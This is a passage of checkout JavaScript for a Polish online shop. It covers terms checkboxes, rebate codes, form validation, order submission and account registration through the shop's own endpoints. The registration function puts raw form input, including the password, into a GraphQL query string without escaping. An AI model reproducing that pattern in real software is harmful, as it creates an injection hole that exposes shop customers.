|
|
togggleProducts.querySelector("span").innerHTML = `${<iai:variable vid="Zwiń listę"/>}`;
|
|
}
|
|
checkIfShowAttatched();
|
|
return;
|
|
}
|
|
|
|
// Kliknięcie na checkbox(nie zaznacz wszystkie i nie kod rabatowy)
|
|
if(e.target.type === "checkbox" && e.target.id !== "checkall-terms" && e.target.id !== "rebate-option"){
|
|
document.querySelector(".bm-oscop__attatched-checkbox").classList.remove("--error");
|
|
|
|
const checkboxAllTerms = document.getElementById("checkall-terms");
|
|
const attatchedcheckboxAllTerms = document.getElementById("attatched-checkall-terms");
|
|
if(e.target.checked === false) {
|
|
checkboxAllTerms.checked = false;
|
|
attatchedcheckboxAllTerms.checked = false;
|
|
// usuniecie bledu jesli jest na przyczepionym przycisku zakupowym
|
|
document.querySelector(".bm-oscop__attatched-checkbox").classList.remove("--error");
|
|
}
|
|
else{
|
|
const termsInputs = document.querySelectorAll(".order2_terms_wrapper input:not(#checkall-terms)");
|
|
let checkedCount = 0;
|
|
termsInputs.forEach(el => el.checked === true ? checkedCount++ : "");
|
|
if(checkedCount === termsInputs.length) {
|
|
checkboxAllTerms.checked = true;
|
|
attatchedcheckboxAllTerms.checked = true;
|
|
}
|
|
}
|
|
return;
|
|
}
|
|
|
|
// Kliknięcie na przycisk "Zaznacz wszystkie"
|
|
if(e.target.id === "checkall-terms") return toggleAllTerms();
|
|
|
|
// Usuń error na regulaminie
|
|
if(e.target.closest(".order2_terms_wrapper_sub") && e.target.closest(".order2_terms_wrapper_sub").querySelector(".text-danger")){
|
|
e.target.closest(".order2_terms_wrapper_sub").querySelector("span").classList.remove("text-danger");
|
|
e.target.closest(".order2_terms_wrapper_sub").querySelector("a").classList.remove("text-danger");
|
|
}
|
|
});
|
|
function toggleAllTerms(){
|
|
removeErrorOnTerms();
|
|
|
|
const termsInputs = document.querySelectorAll(".order2_terms_wrapper input:not(#checkall-terms)");
|
|
let checkAll = false;
|
|
|
|
termsInputs.forEach(el => el.checked === false ? checkAll = true : "");
|
|
termsInputs.forEach(function (el) {
|
|
el.checked = checkAll;
|
|
});
|
|
|
|
document.getElementById("checkall-terms").checked = checkAll;
|
|
document.getElementById("attatched-checkall-terms").checked = checkAll;
|
|
}
|
|
|
|
function removeErrorOnTerms(){
|
|
document.querySelector(".bm-oscop__attatched-checkbox").classList.remove("--error");
|
|
document.querySelector(".order2_terms_conditions span").classList.remove("text-danger");
|
|
document.querySelector(".order2_terms_conditions a").classList.remove("text-danger");
|
|
document.querySelector(".order2_cancel span").classList.remove("text-danger");
|
|
document.querySelector(".order2_cancel a").classList.remove("text-danger");
|
|
}
|
|
|
|
// PRZYCISK ZAKUPU PRZYTWIERDZONY NA DÓŁ STRONY
|
|
function checkIfShowAttatched(){
|
|
const attatchedEl = document.querySelector("#attatched-summary .bm-oscop__attatched-container");
|
|
const summaryCheckAllPos = document.getElementById("checkall-terms").getBoundingClientRect();
|
|
// Sprawdzenie czy pokazać przytwierdzony przycisk do zakupu
|
|
|
|
if(summaryCheckAllPos.top >= window.innerHeight - attatchedEl.offsetHeight){
|
|
attatchedEl.style.opacity = "1";
|
|
attatchedEl.closest("#attatched-summary").style.zIndex = "30";
|
|
}
|
|
else{
|
|
attatchedEl.style.opacity = "0";
|
|
attatchedEl.closest("#attatched-summary").style.zIndex = "-1";
|
|
}
|
|
|
|
// Sprawdzenie czy pokazywać cenę
|
|
const summaryEl = document.querySelector(".order2_summary");
|
|
|
|
// Przeliczana wysokość elementu przytwierdzonego przycisku zakupu na wypadek gdyby cena miała display: none
|
|
const attatchedElHeight = attatchedEl.querySelector(".bm-oscop__attatched-price").style.display === "none" ? (summaryEl.offsetHeight + attatchedEl.offsetHeight) : attatchedEl.offsetHeight
|
|
|
|
if(summaryEl.getBoundingClientRect().top >= window.innerHeight - attatchedElHeight){
|
|
attatchedEl.querySelector(".bm-oscop__attatched-price").style.display = "block";
|
|
}else{
|
|
attatchedEl.querySelector(".bm-oscop__attatched-price").style.display = "none";
|
|
}
|
|
}
|
|
|
|
window.addEventListener("scroll", e=>{
|
|
checkIfShowAttatched()
|
|
});
|
|
document.getElementById("attatched-checkall-terms").addEventListener("click", toggleAllTerms);
|
|
|
|
////////////////////////////////////////////////////////////////////////////////
|
|
// KOD RABATOWY (funkcje)
|
|
|
|
// Funkcje do przerobienia kodu rabatowego
|
|
const ACTIVATE_REBATE_CODE = (code) => JSON.stringify({
|
|
query: `mutation {
|
|
activateRebateCode(code: "${code.replace(/"/g, '\\"')}") {
|
|
status
|
|
error {
|
|
code
|
|
message
|
|
}
|
|
}
|
|
}`,
|
|
})
|
|
const DEACTIVATE_REBATE_CODE = () => JSON.stringify({
|
|
query: `mutation {
|
|
deactivateRebateCode {
|
|
status
|
|
error {
|
|
code
|
|
message
|
|
}
|
|
}
|
|
}`,
|
|
})
|
|
|
|
// Aktywacja kodu rabatowego
|
|
const rebateCode = document.getElementById("rebate-code");
|
|
async function updateCode(){
|
|
if(rebateCode.value.trim() === ""){
|
|
addError(rebateCode);
|
|
rebateCode.insertAdjacentHTML("afterend",`<span class="help-block validate_message text-danger">${<iai:variable vid="Wpisz kod rabatowy"/>}.</span>`);
|
|
return;
|
|
}
|
|
app_shop.fn.ajaxLoadSite(1);
|
|
|
|
// Wysłanie kodu do aktywacji
|
|
const rebateStatus = await fetchData({
|
|
data: ACTIVATE_REBATE_CODE(rebateCode.value),
|
|
linkParameter: "?mutation=activateRebateCode",
|
|
});
|
|
|
|
const { status } = rebateStatus?.data?.activateRebateCode;
|
|
app_shop.fn.ajaxLoadSite(0);
|
|
|
|
// Przeliczenie kosztu koszyka jeśli sukces
|
|
if (status === 'success') {
|
|
toggleActiveCode(true);
|
|
calculateBasketCost();
|
|
return;
|
|
}
|
|
|
|
// Pokazanie błędu
|
|
const { message } = rebateStatus?.data?.activateRebateCode?.error;
|
|
addError(rebateCode);
|
|
addErrorMessage(rebateCode, message);
|
|
// Schowaj kod (show=false, error=true)
|
|
toggleActiveCode(false, true);
|
|
}
|
|
|
|
// Usunięcie aktywnego kodu rabatowego
|
|
async function removeCode(){
|
|
app_shop.fn.ajaxLoadSite(1);
|
|
|
|
const rebateStatus = await fetchData({
|
|
data: DEACTIVATE_REBATE_CODE(),
|
|
linkParameter: "?mutation=deactivateRebateCode",
|
|
});
|
|
|
|
app_shop.fn.ajaxLoadSite(0);
|
|
|
|
const { status } = rebateStatus?.data?.deactivateRebateCode;
|
|
if (status === 'success') {
|
|
toggleActiveCode(false);
|
|
calculateBasketCost();
|
|
}
|
|
}
|
|
|
|
// Zmień widoczność kodu rabatowego
|
|
const rebateCodeContainer = document.querySelector(".rebate__code");
|
|
function toggleActiveCode(show, error=false){
|
|
const activeCodeEl = document.getElementById("active-code");
|
|
// Wyczyść walidacje
|
|
if(!error){
|
|
removeErrorMessage(rebateCode);
|
|
clearValidation(rebateCode);
|
|
}
|
|
|
|
// Zmień widoczność
|
|
document.querySelector(".rebate__options").style.display = show ? "none" : "flex";
|
|
document.querySelector(".rebate__active").style.display = show ? "block" : "none";
|
|
|
|
if(!error) rebateCodeContainer.classList.remove("--fade-in");
|
|
else rebateCodeContainer.classList.add("--fade-in");
|
|
|
|
// Zmień wartości
|
|
activeCodeEl.innerHTML = show ? rebateCode.value : "";
|
|
showInput = error ? true : false;
|
|
document.getElementById("rebate-option").checked = error ? true : false;
|
|
if(!error) rebateCode.value = "";
|
|
else activeCodeEl.innerHTML = "";
|
|
}
|
|
|
|
// EventListenery dla kodu rabatowego
|
|
let showInput = false;
|
|
document.querySelector(".rebate").addEventListener("click", (e) => {
|
|
// Rozwinięcie opcji rabatowej
|
|
if(e.target.id === "rebate-option" || e.target.classList.contains("rebate__active-change")){
|
|
showInput = !showInput;
|
|
if(showInput) rebateCodeContainer.classList.add("--fade-in");
|
|
else rebateCodeContainer.classList.remove("--fade-in");
|
|
}
|
|
|
|
// Kliknięcie na zrealizuj i dezaktywuj
|
|
if(e.target.className.includes("rebate__code-realize")) updateCode();
|
|
if(e.target.classList.contains("rebate__active-remove")) removeCode();
|
|
});
|
|
|
|
|
|
// Aktywacja kodu po naciśnięciu na enter
|
|
rebateCode.addEventListener("keydown", e=>{
|
|
if(e.key === "Enter") updateCode();
|
|
})
|
|
|
|
///////////////////////////////////////////////////////////////////////
|
|
// ZŁOŻENIE ZAMÓWIENIA
|
|
|
|
// Zwaliduj wszystkie dostępne inputy zawierające dane klienta i dane adresowe
|
|
async function validateAllInputs(){
|
|
// Zmienna trzymająca informację czy wystąpił jakiś błąd
|
|
let allGood = true;
|
|
|
|
// Sprawdzenie loginu i hasła jeśli zaznaczone
|
|
if(document.getElementById("register_client_checkbox") && document.getElementById("register_client_checkbox").checked){
|
|
allGood = testLogin() && allGood;
|
|
allGood = testPassword() && allGood;
|
|
}
|
|
if(!document.querySelector(".--logged")){
|
|
// Sprawdzenie emaila i telefonu
|
|
allGood = await validateRequest(document.getElementById("client_email"), true) && allGood;
|
|
allGood = validatePhone(document.getElementById("client_phone")) && allGood;
|
|
// Sprawdzenie nazwy firmy i nipu
|
|
if(document.getElementById("client_type1").checked){
|
|
allGood = validateNotEmpty(document.getElementById("client_firm")) && allGood;
|
|
allGood = await validateRequest(document.getElementById("client_nip"), true) && allGood;
|
|
}
|
|
// Sprawdzenie reszty pól
|
|
allGood = await validateFormInputs("client") && allGood;
|
|
}
|
|
// Sprawdzanie pól dostawy na inny adres
|
|
if(document.getElementById("deliver_to_billingaddr").checked){
|
|
allGood = await validateFormInputs("delivery") && allGood;
|
|
allGood = validatePhone(document.getElementById("delivery_phone")) && allGood;
|
|
}
|
|
return allGood
|
|
}
|
|
async function validateFormInputs(query){
|
|
let isFormGood = true;
|
|
|
|
isFormGood = validateNotEmpty(document.getElementById(`${query}_firstname`)) && isFormGood;
|
|
isFormGood = validateNotEmpty(document.getElementById(`${query}_lastname`)) && isFormGood;
|
|
isFormGood = validateStreet(document.getElementById(`${query}_street`)) && isFormGood;
|
|
isFormGood = await validateRequest(document.getElementById(`${query}_zipcode`),true) && isFormGood;
|
|
isFormGood = validateNotEmpty(document.getElementById(`${query}_city`)) && isFormGood;
|
|
|
|
return isFormGood;
|
|
}
|
|
|
|
// Obsługa złożenia zamówienia
|
|
document.querySelectorAll(".order2_button_order").forEach(btnEl=>{
|
|
btnEl.addEventListener("click", handleBuyOnClick);
|
|
})
|
|
|
|
async function handleBuyOnClick(){
|
|
const termsConditionsInput = document.getElementById("order2_terms_conditions");
|
|
const cancelConditionsInput = document.getElementById("order2_cancel");
|
|
try {
|
|
app_shop.fn.ajaxLoadSite(1);
|
|
app_shop.vars.validation = 1;
|
|
// Sprawdzenie pól formularza
|
|
const allInputsCorrectlyValidated = await validateAllInputs();
|
|
if(allInputsCorrectlyValidated === false) app_shop.vars.validation = 0;
|
|
|
|
// Znalezienie obecnie zaznaczonej metody dostawy i płatności
|
|
const deliveryMethod = document.querySelector(".bm-oscop__container [name=shipping]:checked");
|
|
const paymentMethod = document.querySelector(".bm-oscop__container [name=payform_id]:checked");
|
|
|
|
// Sprawdzenie czy użytkownik zaakceptował regulamin
|
|
if(!termsConditionsInput.checked || !cancelConditionsInput.checked){
|
|
app_shop.vars.validation = 0;
|
|
showTermsError(termsConditionsInput);
|
|
showTermsError(cancelConditionsInput);
|
|
}// Sprawdzenie czy użytkownik wybrał metodę dostawy i płatności (też sprawdzenie czy wybrał paczkomat i wpisał voucher)
|
|
else {
|
|
if(deliveryMethod){
|
|
if(deliveryMethod.dataset.pickuppoint === "true" && deliveryMethod.parentElement.querySelector(".fselectedPoint").innerHTML === "") return orderValidationError(<iai:variable vid="Nie wybrano punktu odbioru"/>);
|
|
} else return orderValidationError(<iai:variable vid="Proszę wybrać dostępną metodę dostawy"/>);
|
|
if(paymentMethod){
|
|
if(paymentMethod.value === "2" && document.getElementById("order_voucher_id").value === "") return orderValidationError(<iai:variable vid="Nie podano identyfikatora bonu"/>);
|
|
} else return orderValidationError(<iai:variable vid="Proszę wybrać metodę płatności"/>);
|
|
}
|
|
|
|
// Sprawdzenie formularza rejestracji nowego konta wraz z zakupem
|
|
let registerError = "";
|
|
const registerCheckbox = document.getElementById("register_client_checkbox");
|
|
if(registerCheckbox && registerCheckbox.checked){
|
|
if(!testLogin()) registerError += `${<iai:variable vid="Login musi mieć minimum 3, a maksimum 40 znaków. Możesz użyć liter i cyfr oraz symboli @ . - _"/>}<br>`;
|
|
if(!testPassword()) registerError += `${<iai:variable vid="Hasło musi składać się z minimum 6 znaków"/>}`;
|
|
if(registerError.length > 0){
|
|
scrollToHeight(document.querySelector(".register"));
|
|
return orderValidationError(registerError);
|
|
}
|
|
}
|
|
|
|
// Przerwanie składania zamówienia jeśli w trakcie walidacji wystąpił błąd
|
|
if (app_shop.vars.validation === 0) {
|
|
const errorEl = document.querySelector(".--error.has-error");
|
|
let scrolledToElement;
|
|
let alertMessage = "";
|
|
|
|
// Element sprawdzający czy regulamin jest zaznaczony
|
|
const termsAndConditions = termsConditionsInput.checked && cancelConditionsInput.checked;
|
|
if(!termsAndConditions){
|
|
document.querySelector(".bm-oscop__attatched-checkbox").classList.add("--error");
|
|
alertMessage += `${<iai:variable vid="Zatwierdź"/>} ${<iai:variable vid="Regulamin"/>}!<br/>`;
|
|
}
|
|
// Sprawdź metodę płatności i dostawy(scrollowanie do formularza ważniejsze)
|
|
if(!document.querySelector(`input[name="shipping"]:checked`)){
|
|
scrolledToElement = errorEl || document.querySelector("#bm-oscop-deliveries h2");
|
|
alertMessage += `${<iai:variable vid="Proszę wybrać dostępną metodę dostawy"/>}<br/>`;
|
|
}
|
|
if(!document.querySelector(`input[name="payform_id"]:checked`)){
|
|
scrolledToElement = errorEl || document.querySelector("#bm-oscop-payments h2");
|
|
alertMessage += `${<iai:variable vid="Proszę wybrać metodę płatności"/>}<br/>`;
|
|
}
|
|
// Błąd w formularzu
|
|
if(errorEl){
|
|
scrolledToElement = errorEl;
|
|
alertMessage += `${<iai:variable vid="W formularzu wystąpiły błędy"/>}`;
|
|
}
|
|
|
|
// Jeśli użytkownik zatwierdził regulamin, przescrolluj do elementu z błędem
|
|
if(scrolledToElement) scrollToHeight(scrolledToElement);
|
|
|
|
|
|
// Pokaż error i przerwij składanie zamówienia
|
|
Alertek.show_alert(alertMessage);
|
|
return app_shop.fn.ajaxLoadSite(0);
|
|
}
|
|
|
|
// Rejestracja użytkownika i/lub złożenie zamówienia
|
|
if(registerCheckbox && registerCheckbox.checked){
|
|
addClient(function() {
|
|
createOrder(deliveryMethod.value, paymentMethod.value);
|
|
}, function() {});
|
|
} else createOrder(deliveryMethod.value, paymentMethod.value);
|
|
return !1;
|
|
} catch (e) {
|
|
app_shop.fn.ajaxLoadSite(0);
|
|
console.log(e);
|
|
alert("blad");
|
|
}
|
|
}
|
|
|
|
// Przescrolluj do
|
|
function scrollToHeight(scrollToEl){
|
|
let yOffset = -45;
|
|
if(app_shop.vars.view === 1) yOffset = -100;
|
|
if(app_shop.vars.view === 2) yOffset = -75;
|
|
const y = scrollToEl.getBoundingClientRect().top + window.pageYOffset + yOffset;
|
|
|
|
window.scrollTo({top: y, behavior: 'smooth'});
|
|
}
|
|
|
|
// Schowaj/Pokaż error na warunkach regulaminun
|
|
function showTermsError(input){
|
|
if(!input.checked){
|
|
input.parentElement.querySelector("span").classList.add("text-danger");
|
|
input.parentElement.querySelector("a").classList.add("text-danger");
|
|
}
|
|
}
|
|
// Złożenie zamówienia
|
|
function createOrder(deliveryMethod, paymentMethod){
|
|
// Weź dane klienta
|
|
const phone = `+${document.querySelector("#client-contact-info .phone_number__code_number").value} ${document.getElementById("client_phone").value}`;
|
|
|
|
const email = document.getElementById("client_email").value;
|
|
const clientType = document.querySelector('.bm-oscop__container [name="client_type"]:checked').value;
|
|
const firmname = clientType === "firm" ? document.getElementById("client_firm").value : "";
|
|
const nip = clientType === "firm" ? document.getElementById("client_nip").value : "";
|
|
let firstname = document.getElementById("client_firstname").value;
|
|
let lastname = document.getElementById("client_lastname").value;
|
|
const street = document.getElementById("client_street").value;
|
|
const city = document.getElementById("client_city").value;
|
|
const zipcode = document.getElementById("client_zipcode").value;
|
|
const region = document.getElementById("client_region")?.value;
|
|
|
|
const province = document.getElementById(`client_province_${region}`)?.value ? document.getElementById(`client_province_${region}`)?.value : "";
|
|
|
|
// Weź dane dostawy z innego adresu jeśli jest zaznaczone
|
|
let deliveryFirstname, deliveryLastname, deliveryFirmName, deliveryStreet, deliveryCity, deliveryZipcode, deliveryPhone, deliveryRegion, deliveryProvince;
|
|
if (document.getElementById("deliver_to_billingaddr").checked){
|
|
deliveryFirstname = document.getElementById("delivery_firstname").value;
|
|
deliveryLastname = document.getElementById("delivery_lastname").value;
|
|
deliveryFirmName = document.getElementById("delivery_additional").value;
|
|
deliveryStreet = document.getElementById("delivery_street").value;
|
|
deliveryCity = document.getElementById("delivery_city").value;
|
|
deliveryZipcode = document.getElementById("delivery_zipcode").value;
|
|
deliveryPhone = `+${document.querySelector(".delivery_box .phone_number__code_number").value} ${document.getElementById("delivery_phone").value}`;
|
|
deliveryRegion = document.getElementById("delivery_region").value;
|
|
|
|
deliveryProvince = document.getElementById(`delivery_province_${deliveryRegion}`)?.value ? document.getElementById(`delivery_province_${deliveryRegion}`)?.value : "";
|
|
};
|
|
|
|
// Informacje o newsletterze
|
|
const clientMailing = checkNewsletter("client_mailing_logg","#client_mailing");
|
|
const clientSms = checkNewsletter("client_send_sms_logg", "#client_sms");
|
|
|
|
// Kod rabatowy i kod vouchera
|
|
let rebateCode;
|
|
if (document.getElementById("active-code")) rebateCode = document.getElementById("active-code").innerHTML;
|
|
else rebateCode = "";
|
|
|
|
let voucherCode;
|
|
if(document.querySelector(".bm-oscop__container #payitem_2") && document.querySelector(".bm-oscop__container #payitem_2").checked) voucherCode = document.querySelector(".bm-oscop__container #order_voucher_id").value;
|
|
|
|
// Jeśli zalogowany użytkownik jest firmą i nie ma imienia i nazwiska
|
|
if (clientType.disabled && clientType.value === "firm") {
|
|
if (!firstname) firstname = (deliveryFirstname) ? deliveryFirstname : 'Klient';
|
|
if (!lastname) lastname = (deliveryLastname) ? deliveryLastname : 'Firma';
|
|
}
|
|
|
|
// Czyszczenie imienia i nazwiska ze znaków specjalnych
|
|
firstname = firstname.replace(/[&\/\\#,+()$~%.'":*?<>{}!@~`^_]/g, "");
|
|
lastname = lastname.replace(/[&\/\\#,+()$~%.'":*?<>{}!@~`^_]/g, "");
|
|
|
|
// Dodatkowe informacje (uwagi, faktura, punkt odbioru)
|
|
const shopRemarks = document.getElementById("shop_remarks").checked ? document.querySelector(".bm-oscop__container [name=remarks]").value : "";
|
|
const deliveryRemarks = document.getElementById("courier_remarks").checked ? document.querySelector(".bm-oscop__container [name=deliverer_remarks]").value : "";
|
|
|
|
|
|
// Czas dostawy jeśli jest taka opcja
|
|
const pickedDeliveryMethod = document.querySelector("#bm-oscop-deliveries .osc_item:has(input[name='shipping']:checked)");
|
|
let deliveryDate = "";
|
|
let deliveryHour = "";
|
|
if(pickedDeliveryMethod.querySelector(".delivery_date__options")){
|
|
deliveryDate = pickedDeliveryMethod.querySelector(".delivery_date__calendar_option.active").dataset.date;
|
|
deliveryHour = pickedDeliveryMethod.querySelector(".delivery_date__hours_options") ? pickedDeliveryMethod.querySelector(".delivery_date__hours_options").value : "";
|
|
}
|
|
|
|
const invoiceOption = document.querySelector("input[name=invoice]:checked").value;
|
|
const pickuppoint = document.querySelector("#osc_order1 input:checked").dataset.pickuppoint === "true" ? document.querySelector("#osc_order1 input:checked").parentElement.querySelector("label [name=pickup_point]").value : "";
|
|
const order = {
|
|
affiliate: "",
|
|
rebate_code: rebateCode,
|
|
rebate_profit_points_id: "",
|
|
client: {
|
|
email: email,
|
|
type: clientType,
|
|
firm: firmname,
|
|
nip: nip,
|
|
firstname: firstname,
|
|
lastname: lastname,
|
|
street: street,
|
|
city: city,
|
|
zipcode: zipcode,
|
|
phone: phone,
|
|
phone2: "",
|
|
region: region,
|
|
province: province,
|
|
delivery: { firstname: deliveryFirstname, lastname: deliveryLastname, additional: deliveryFirmName, street: deliveryStreet, city: deliveryCity, zipcode: deliveryZipcode, phone: deliveryPhone, region: deliveryRegion, province: deliveryProvince },
|
|
save_to_mailing_after_order: clientMailing,
|
|
save_to_mailing_sms_after_order: clientSms,
|
|
},
|
|
order: {
|
|
stock: 1,
|
|
payform_id: paymentMethod,
|
|
voucher_code: voucherCode,
|
|
remarks: shopRemarks,
|
|
wants_invoice: invoiceOption,
|
|
shipping: deliveryMethod,
|
|
shipping_for_points: "",
|
|
pickup_point: pickuppoint,
|
|
delivery_hour: deliveryHour,
|
|
delivery_date: deliveryDate,
|
|
delivery_text: "",
|
|
delivery_remarks: deliveryRemarks,
|
|
},
|
|
};
|
|
|
|
// Złóż zamówienie jako zalogowany/niezalogowany użytkownik.
|
|
if (document.querySelector(".--logged") || document.getElementById("register_client_checkbox") && document.getElementById("register_client_checkbox").checked) sendOrder(order);
|
|
else {
|
|
const clientData = new FormData();
|
|
if(firmname) clientData.append("client_firm", firmname);
|
|
if(nip) clientData.append("client_nip", nip);
|
|
clientData.append("client_firstname", firstname);
|
|
clientData.append("client_lastname", lastname);
|
|
clientData.append("client_street", street);
|
|
clientData.append("client_zipcode", zipcode);
|
|
clientData.append("client_city", city);
|
|
clientData.append("client_region", region);
|
|
clientData.append("client_email", email);
|
|
clientData.append("client_phone", phone);
|
|
|
|
$.ajax({
|
|
url: "/client-new.php?operation=onceorder",
|
|
type: "POST",
|
|
data: clientData,
|
|
timeout: 1e4,
|
|
cache: !1,
|
|
contentType: !1,
|
|
processData: !1,
|
|
complete: function (e, a) {
|
|
throwAjaxError(a);
|
|
},
|
|
success: function (e, a) {
|
|
sendOrder(order);
|
|
},
|
|
});
|
|
}
|
|
}
|
|
|
|
function checkNewsletter(logged, regular){
|
|
if(document.querySelector(`.bm-oscop__container [name=${logged}]`)) return document.querySelector(`.bm-oscop__container [name=${logged}]`).value ? 1 : 0;
|
|
else if(document.querySelector(regular)) return document.querySelector(regular).checked ? 1 : 0;
|
|
else return 0;
|
|
}
|
|
|
|
// Funkcja wysyłająca zamówienie
|
|
function sendOrder(data){
|
|
// fetch("/ajax/order-create.php", {
|
|
// method: "POST",
|
|
// headers: {
|
|
// "Content-Type": "application/json"
|
|
// },
|
|
// body: JSON.stringify(data)
|
|
// })
|
|
// .then(response => {
|
|
// if (!response.ok) {
|
|
// throw new Error(`HTTP error! Status: ${response.status}`);
|
|
// }
|
|
// return response.json();
|
|
// })
|
|
// .then(e => {
|
|
// if(e.location){
|
|
// // Zapisanie państwa żeby sprawdzić czy się zgadza
|
|
// const usedCountry = document.getElementById("deliver_to_billingaddr").checked ? document.getElementById("delivery_region").value : document.getElementById("client_region").value;
|
|
// // Zapisanie płatności i dostawy na następny raz
|
|
// const paymentInput = document.querySelector(`input[name="payform_id"]:checked`)
|
|
// const usedPaymentMethod = {
|
|
// id: paymentInput.id,
|
|
// group: paymentInput.dataset.group,
|
|
// };
|
|
|
|
// const deliveryMethod = document.querySelector(`input[name="shipping"]:checked`);
|
|
// const selectedPoint = deliveryMethod.parentElement.querySelector(".fselectedPoint");
|
|
|
|
// const usedDeliveryMethod = {
|
|
// id: deliveryMethod.id,
|
|
// fselectedPoint: selectedPoint ? {
|
|
// deliveryPointId: selectedPoint.dataset.deliveryPointId,
|
|
// name: selectedPoint.dataset.name,
|
|
// street: selectedPoint.dataset.street,
|
|
// zipcode: selectedPoint.dataset.zipcode,
|
|
// city: selectedPoint.dataset.city,
|
|
// courierId: selectedPoint.dataset.courierId
|
|
// } : false
|
|
// };
|
|
|
|
// const prevOrderInfo = {
|
|
// prevPaymentMethod: usedPaymentMethod,
|
|
// prevDeliveryMethod: usedDeliveryMethod,
|
|
// prevCountry: usedCountry
|
|
// }
|
|
|
|
// localStorage.setItem("prevOrderInfo", JSON.stringify(prevOrderInfo));
|
|
|
|
// // Przeniesienie na stonę informacji o zamóieniu
|
|
// window.location.href = e.location;
|
|
// return;
|
|
// }
|
|
// if(e.errno){
|
|
// app_shop.fn.ajaxLoadSite(0)
|
|
// e.errno === 115 ? Alertek.show_alert(`${<iai:variable vid="Twój koszyk jest pusty"/>}`) : Alertek.show_alert(e.error);
|
|
// }
|
|
// })
|
|
// .catch(error => {
|
|
// console.error("sendorder", error);
|
|
// throwAjaxError(error);
|
|
// });
|
|
|
|
$.ajax({
|
|
url: "/ajax/order-create.php",
|
|
type: "post",
|
|
timeout: 16e3,
|
|
dataType: "json",
|
|
data: data,
|
|
complete: function (e, a) {
|
|
console.log("sendorder", e, a);
|
|
throwAjaxError(a);
|
|
},
|
|
success: function (e) {
|
|
if(e.location){
|
|
// Zapisanie państwa żeby sprawdzić czy się zgadza
|
|
const usedCountry = document.getElementById("deliver_to_billingaddr").checked ? document.getElementById("delivery_region").value : document.getElementById("client_region").value;
|
|
// Zapisanie płatności i dostawy na następny raz
|
|
const paymentInput = document.querySelector(`input[name="payform_id"]:checked`)
|
|
const usedPaymentMethod = {
|
|
id: paymentInput.id,
|
|
group: paymentInput.dataset.group,
|
|
};
|
|
|
|
const deliveryMethod = document.querySelector(`input[name="shipping"]:checked`);
|
|
const selectedPoint = deliveryMethod.parentElement.querySelector(".fselectedPoint");
|
|
|
|
const usedDeliveryMethod = {
|
|
id: deliveryMethod.id,
|
|
fselectedPoint: selectedPoint ? {
|
|
deliveryPointId: selectedPoint.dataset.deliveryPointId,
|
|
name: selectedPoint.dataset.name,
|
|
street: selectedPoint.dataset.street,
|
|
zipcode: selectedPoint.dataset.zipcode,
|
|
city: selectedPoint.dataset.city,
|
|
courierId: selectedPoint.dataset.courierId
|
|
} : false
|
|
};
|
|
|
|
const prevOrderInfo = {
|
|
prevPaymentMethod: usedPaymentMethod,
|
|
prevDeliveryMethod: usedDeliveryMethod,
|
|
prevCountry: usedCountry
|
|
}
|
|
|
|
localStorage.setItem("prevOrderInfo", JSON.stringify(prevOrderInfo));
|
|
|
|
// Przeniesienie na stonę informacji o zamóieniu
|
|
window.location.href = e.location;
|
|
return;
|
|
}
|
|
if(e.errno){
|
|
app_shop.fn.ajaxLoadSite(0)
|
|
e.errno === 115 ? Alertek.show_alert(`${<iai:variable vid="Twój koszyk jest pusty"/>}`) : Alertek.show_alert(e.error);
|
|
}
|
|
},
|
|
});
|
|
}
|
|
|
|
// REJESTRACJA KLIENTA
|
|
const REGISTER_CLIENT = (registerClientInput) => JSON.stringify({
|
|
query: `mutation {
|
|
registerClient(${registerClientInput}) {
|
|
status
|
|
error {
|
|
code
|
|
message
|
|
}
|
|
}
|
|
}`,
|
|
});
|
|
// Funkcja tworząca nowego klienta wraz z zamówieniem
|
|
async function addClient(succes, error){
|
|
const clientType = document.querySelector("input[name=client_type]:checked").value;
|
|
const saveToMailing = document.getElementById("client_mailing");
|
|
let saveToMailingData = false;
|
|
if(saveToMailing && saveToMailing.checked) saveToMailingData = true;
|
|
|
|
const saveToSms = document.getElementById("client_sms");
|
|
let saveToSmsData = false;
|
|
if(saveToSms && saveToSms.checked) saveToSmsData = true;
|
|
|
|
const reCaptchaToken = await grecaptcha?.execute?.();
|
|
|
|
const registerClientData = await fetchData({
|
|
data: REGISTER_CLIENT(`RegisterClientInput: {
|
|
clientData: {
|
|
clientDeliveryData: {
|
|
${clientType === "firm" ? `companyName: "${document.getElementById("client_firm").value}",` : ""}
|
|
firstname: "${document.getElementById("client_firstname").value}",
|
|
lastname: "${document.getElementById("client_lastname").value}",
|
|
street: "${document.getElementById("client_street").value}",
|
|
zipcode: "${document.getElementById("client_zipcode").value}",
|
|
city: "${document.getElementById("client_city").value}",
|
|
country: ${document.getElementById("client_region").value},
|
|
phone: "${document.getElementById("client_phone").value}",
|
|
}
|
|
${
|
|
document.getElementById("deliver_to_billingaddr").checked ? `clientDeliveryOtherAddressData: {
|
|
companyName: "${document.getElementById("delivery_additional").value}",
|
|
firstname: "${document.getElementById("delivery_firstname").value}",
|
|
lastname: "${document.getElementById("delivery_lastname").value}",
|
|
street: "${document.getElementById("delivery_street").value}",
|
|
zipcode: "${document.getElementById("delivery_zipcode").value}",
|
|
city: "${document.getElementById("delivery_city").value}",
|
|
country: ${document.getElementById("delivery_region").value},
|
|
phone: "${document.getElementById("delivery_phone").value}",
|
|
}` : ""
|
|
}
|
|
type: ${clientType},
|
|
${clientType === "firm" ? `taxNumber: "${document.getElementById("client_nip").value}",` : ""}
|
|
email: "${document.getElementById("client_email").value}",
|
|
saveToMailingAfterOrder: ${saveToMailingData},
|
|
saveToSmsAfterOrder: ${saveToSmsData},
|
|
}
|
|
loginAndPassword: {
|
|
login: "${document.querySelector(".register__login").value}",
|
|
password: "${document.querySelector(".register__password").value}",
|
|
passwordRepeat: "${document.querySelector(".register__password").value}",
|
|
}
|
|
reCaptchaToken: "${reCaptchaToken}"
|
|
}`),
|
|
linkParameter: '?mutation=registerClient',
|
|
});
|
|
if(!registerClientData?.data?.registerClient?.error || registerClientData?.error?.message || !Number(registerClientData?.errors?.length)) succes()
|
|
else {
|
|
Alertek.show_alert(registerClientData.data.registerClient.error?.message);
|
|
app_shop.fn.ajaxLoadSite(0);
|
|
}
|
|
}
|
|
|
|
// Zmiana informacji formularza w url params
|
|
function serializeFormData(form){
|
|
const formData = new FormData(form);
|
|
let serializedString = "";
|
|
for (const [name, value] of formData) {
|
|
serializedString += `${name}=${encodeURIComponent(value)}&`;
|
|
}
|
|
serializedString = serializedString.slice(0,-1);
|
|
return serializedString;
|
|
}
|
|
|
|
// Pokaz error (płatności, dostawy, zalozenie nowego konta)
|
|
function orderValidationError(text){
|
|
app_shop.vars.validation = 0;
|
|
Alertek.show_alert(`${text}`);
|
|
